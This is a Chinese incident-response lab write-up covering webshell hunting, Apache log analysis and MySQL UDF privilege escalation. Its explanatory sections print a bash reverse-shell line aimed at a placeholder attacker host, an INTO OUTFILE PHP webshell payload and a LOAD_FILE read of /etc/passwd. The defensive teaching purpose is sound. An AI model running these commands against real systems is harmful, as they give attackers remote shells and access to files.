玄机 第一章 应急响应
Linux入侵排查
查看内容是否有Webshell特征的指令
find ./ type f -name “*.jsp"
find ./ type f -name ".php”
find ./ type f -name “*.asp"
find ./ type f -name ".aspx”
第一题
类似于第一章webshell的步骤,查到html文件目录发现有.shell.php,index.php,1.php
find ./ -type f -name "*.php" | xargs grep "eval("
如果md5值通过,那eval危险函数就通过,传输一个字符为1,这个就是木马的密码。

第二题
类似于webshell的内容,直接查询index.php文件发现

index.php有两个参数,一个是文件名,一个是文件内容,每3000毫秒写入一个文件。
给post的参数pass传输一个通过md5加密的值,如果匹配则执行后面函数,md5就是第二步的flag
第三题
因为是在index.php里面每3000毫秒写入一个.shell.php,所以文件名就是index.php
第四题和第五题
先筛选看看有没有破解成功的,发现没有回显
grep "shell.php" /var/log/auth.log.1
cat auth.log.1 |grep "Accepted password"
这时候我们提高权限
chmod 777 "shell(1).elf"
chmod为命令名称,用于更改文件或目录的访问权限。
777三位数字分别代表:
第1位(百位):文件所有者的权限(7)。
第2位(十位):文件所属组的权限(7)。
第3位(个位):其他用户的权限(7)。
(755所有者可写,其他人只读\执行chmod 755 file 。644仅所有者可写,其他人只读chmod 644 file)
shell(1).elf为目标文件名字
这时候我们第一个finalshell通过提高权限后启动该文件
./'shell(1).elf'
新建finalshell通过指令直接找到ip和端口
netstat -antlp | more
玄机 第二章 日志分析
apache日志分析
第一题
连接以后直接进入log目录查看日志文件
cut -d- -f 1 access.log.1|uniq -c | sort -rn | head -20
快速匹配提取所有ip
grep -Eo '([0-9]+\.){3}[0-9]+'
第二题
让我们提交浏览器指纹。
浏览器指纹是指通过收集和分析浏览器和设备的特征信息,创建一个唯一的标识符,从而识别或跟踪用户。
这种技术不仅依赖于常规的Cookie,还利用浏览器和设备的多种属性来进行识别。
我们可以知道浏览器的版本,操作系统,时区,语言设置字体,HTTP头,设备特征。
因为已知黑客的IP地址,所以通过打开日志过滤黑客ip,发现有Mac OS X和windows,但是通过浏览下面信息发现windows的信息更多,直接提取出来
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/87.0.4280.88 Safari/537.36
这个就是我们需要的浏览器指纹。
第三题
grep过滤index.php统计次数,可以知道被访问了多少次可以通过,进入到cacphe2的目录下通过
cat access.log.1 | grep "/index.php" | wc -l
可以直接得出是27次,但是实际上这个是错误的答案,我们用指令列出所有访问index.php的指令发现
cat access.log.1 | grep "/index.php"
其余的都是直接GET到了/index.php,而与两个前面显示访问成功后,再通过js跳转到了/index.php这个界面
第四题
我们需要知道当前ip访问了多少次
grep “192.168.200.2” access.log.1 | cut -d’ ’ -f1 | sort | uniq -c
为6555次
第五题
访问了多少次,通过过滤2023.08.03日期,在awk提取主机第一列IP地址,再通过sort排序,确保uniq可以正确合并同类相。
cat access.log.1 | grep "03/Aug/2023:08:" | awk '{print $1}' |sort -nr | uniq -c| wc -l
grep "03/Aug/2023:08:" access.log.1 | awk '{print $1}' | sort |uniq
这两个都可以,最终答案为5
玄机 第二章 日志分析
mysql应急响应
第一题
排查危险函数指令,进入/var/www/html目录下
find / -name " *.php" | xargs grep "eval("
可以找到PHP恶意代码,观察前面的地址,可以找到该恶意代码的文件位置,在/var/www/html/sh.php文件中打开可以发现flag
第二题
查找黑客的反弹shell
反弹shell是攻击者通过在目标系统上运行恶意代码,使目标系统主动与攻击者控制的服务器建立连接,从而绕过防火墙的其他安全措施
反弹shell的工作原理
1.攻击者会在目标里启动监听程序。
nc -lvp 4444
// nc表示网络连接和数据传输
// -l表示监听模式
// -v表示冗长输出
// -p表示指定端口
2.目标系统执行恶意代码
攻击者通过漏洞和社交工程手段,在目标系统上执行恶意代码,这段代码会打开一个shell(操作系统的外层程序,类似于命令解释器),尝试连接攻击者的服务器
/bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1
通过TCP连接攻击者的IP地址和端口,并将输入和输出重定向到这个连接上
3.建立连接
目标系统主动向攻击者的服务器发起连接请求。由于是目标系统主动连接,一般不会被防火墙阻拦。
4.攻击者获得Shell访问
一旦连接建立,攻击者就可以在其控制服务器上得到一个远程Shell,能够像在本地终端一样执行命令,控制目标系统。
第二步解题步骤
在log文件下先查找是什么服务器,再看mysql的日志文件,发现里面有一个error.log文件(报错文件),通过查找报错日志可以找到两个IP地址,其中一个就是正确的。
另外在里面可以找到两个文件,一个是index.php,另一个是1.sh
打开1.sh,是一个反弹shell的脚本
第三题
找到提权文件的路径。
在mysql提权攻击中,最常用的方法包括利用INTO OUTFILE写入文件、LOAD_FILE读取文件,UDF(用户定义函数)执行系统命令。
INTO OUTFILE
写入文件,攻击者利用这个功能将恶意代码写入web服务器,生成webshell
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
这个命令将在/var/www/html/目录下创建一个名为shell.php的文件,包含一个简单的WebShell,攻击者可以通过访问该文件执行任意系统命令。
L0AD_FILE
读取文件,可以让攻击者阅读敏感文件
SELECT LOAD_FILE('/etc/passwd');
// 返回 /etc/passwd 文件的内容,其中包含所有用户的信息。
UDF
执行系统命令,允许用户扩展mysql的功能,如果攻击者将恶意的共享库上传到服务器,就可以通过UDF执行任意系统命令
通过查找/var/www/html目录下的
find ./ -name "*.php" | xargs grep "root"
可以得到
./common.php:$conn=mysqli_connect(“localhost”,“root”,“334cc35b3c704593”,“cms”,“3306”);
// “localhost”:数据库服务器地址,这里是本地主机。
// “root”:数据库用户名。
// “334cc35b3c704593”:数据库密码。
// “cms”:数据库名称。
// “3306”:数据库端口号。
连接数据库命令
mysql -u root -p 334cc35b3c704593
-u为用户,-p为密码
连接完成后再输入指令
show global variables like '%secure%';
MySQL查询命令,用于显示与 “secure” 相关的全局变量及其当前设置。查看这些变量的配置,可以帮助我们了解MySQL服务器的安全性设置和限制。

secure_auth:显示为off,表示运行匿名链接,或者未使用ssl链接
secure_file_priv:限制LOAD和SELECT操作的文件读写目录,但是文件框为空,就是说mysql可以访问服务器上的任何路径,没有限制。
为什么会导致UDF提权?
攻击者利用SELECT语句,将恶意的.so文件写入服务器文件系统任意位置,通常恶意文件共享库一般放在mysql插件目录中,这个目录是默认的
/usr/lib/mysql/plugin/
具体情况具体分析,大部分都在mysql文件夹里,因为需要通过mysql插件目录才能进行mysql的识别和加载,打开文件,发现有个.so后缀文件路径
第四题
黑客获取的权限flag{whoami后的值}
因为我们知道了黑客进行了提权,那么肯定写入了新的函数,用指令进行查询
ps -aux
查找出来发现
mysql 364 0.0 1.6 619976 63956 ? Sl 04:55 0:02 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql
进程显示MySQL服务器进程正在运行,它于12:10启动,使用了指定的配置目录、数据目录和插件目录,发现目录就是UDF使用提取的目录,暂时也不是很确认,我们可以进入数据库进行分析
SELECT * FROM mysql.func;
检查mysql里是否有异常的UDF函数,这个表会查到新增函数信息

有一个sys_eval危险函数,属于是新增的,按照题目要求我们使用指令
select sys_eval('whoami');
通过select让这个函数执行whoami这个命令,答案就是mysql
UDF提权典型痕迹
异常的.so文件查询是否为新建的
查找mysql日志文件看是否有CREATE语句
.so(属于一个动态链接库,在执行文件的时候会在.so里面执行这一行代码)
作者:晨星安全团队——Zion_Cat

